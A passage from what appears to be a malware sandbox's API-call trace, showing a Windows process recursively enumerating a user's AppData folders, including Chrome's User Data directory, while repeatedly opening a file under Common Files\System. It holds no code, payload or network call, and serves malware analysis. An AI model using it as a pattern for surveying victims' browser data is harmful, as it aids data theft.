cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0135.024] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0135.024] GetLastError () returned 0x12 [0135.024] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0135.024] GetLastError () returned 0x12 [0135.024] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0135.024] GetLastError () returned 0x12 [0135.024] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0135.024] GetLastError () returned 0x12 [0135.024] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0135.024] GetLastError () returned 0x12 [0135.024] AreFileApisANSI () returned 1 [0135.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0135.025] GetFileType (hFile=0x17c) returned 0x1 [0135.025] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x888230, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0135.025] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0135.025] GetLastError () returned 0x12 [0135.025] FindClose (in: hFindFile=0x7d16b0 | out: hFindFile=0x7d16b0) returned 1 [0135.025] GetLastError () returned 0x12 [0135.025] AreFileApisANSI () returned 1 [0135.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c504, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0135.025] GetFileType (hFile=0x178) returned 0x1 [0135.026] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\*.*", lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16b0 [0135.026] AreFileApisANSI () returned 1 [0135.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0135.026] GetFileType (hFile=0x17c) returned 0x1 [0135.026] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0135.026] AreFileApisANSI () returned 1 [0135.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0135.026] GetFileType (hFile=0x180) returned 0x1 [0135.026] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x888230, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0135.027] AreFileApisANSI () returned 1 [0135.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0135.027] GetFileType (hFile=0x184) returned 0x1 [0135.027] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x888230, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0135.027] AreFileApisANSI () returned 1 [0135.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0135.027] GetFileType (hFile=0x188) returned 0x1 [0135.027] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0135.028] AreFileApisANSI () returned 1 [0135.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0135.028] GetFileType (hFile=0x18c) returned 0x1 [0135.028] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0135.088] AreFileApisANSI () returned 1 [0135.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0135.088] GetFileType (hFile=0x190) returned 0x1 [0135.089] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0135.089] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0135.090] GetLastError () returned 0x12 [0135.090] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0135.090] GetLastError () returned 0x12 [0135.090] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0135.090] GetLastError () returned 0x12 [0135.090] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0135.090] GetLastError () returned 0x12 [0135.090] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0135.090] GetLastError () returned 0x12 [0135.090] AreFileApisANSI () returned 1 [0135.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0135.090] GetFileType (hFile=0x180) returned 0x1 [0135.090] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0135.091] AreFileApisANSI () returned 1 [0135.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0135.091] GetFileType (hFile=0x184) returned 0x1 [0135.091] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0135.091] AreFileApisANSI () returned 1 [0135.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0135.091] GetFileType (hFile=0x188) returned 0x1 [0135.092] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0135.132] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0135.132] GetLastError () returned 0x12 [0135.132] AreFileApisANSI () returned 1 [0135.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0135.133] GetFileType (hFile=0x188) returned 0x1 [0135.133] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0135.134] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0135.134] GetLastError () returned 0x12 [0135.134] AreFileApisANSI () returned 1 [0135.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0135.135] GetFileType (hFile=0x188) returned 0x1 [0135.135] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x89bc98, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0135.136] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0135.136] GetLastError () returned 0x12 [0135.136] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0135.136] GetLastError () returned 0x12 [0135.136] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0135.136] GetLastError () returned 0x12 [0135.136] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0135.137] GetLastError () returned 0x12 [0135.137] FindClose (in: hFindFile=0x7d16b0 | out: hFindFile=0x7d16b0) returned 1 [0135.137] GetLastError () returned 0x12 [0135.137] AreFileApisANSI () returned 1 [0135.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c504, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0135.137] GetFileType (hFile=0x178) returned 0x1 [0135.137] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\*.*", lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd0, dwReserved1=0x834a78, cFileName=".", cAlternateFileName="")) returned 0x7d16b0 [0135.137] FindClose (in: hFindFile=0x7d16b0 | out: hFindFile=0x7d16b0) returned 1 [0135.137] GetLastError () returned 0x12 [0135.137] AreFileApisANSI () returned 1 [0135.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c504, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0135.137] GetFileType (hFile=0x178) returned 0x1 [0135.138] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\*.*", lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16b0 [0135.138] AreFileApisANSI () returned 1 [0135.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0135.138] GetFileType (hFile=0x17c) returned 0x1 [0135.138] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8000000, dwReserved1=0x867468, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0135.138] AreFileApisANSI () returned 1 [0135.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0135.138] GetFileType (hFile=0x180) returned 0x1 [0135.138] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0135.139] AreFileApisANSI () returned 1 [0135.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0135.139] GetFileType (hFile=0x184) returned 0x1 [0135.139] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0135.139] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0135.139] GetLastError () returned 0x12 [0135.139] AreFileApisANSI () returned 1 [0135.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.139] CreateFileW (lpFileName="C:\\Program 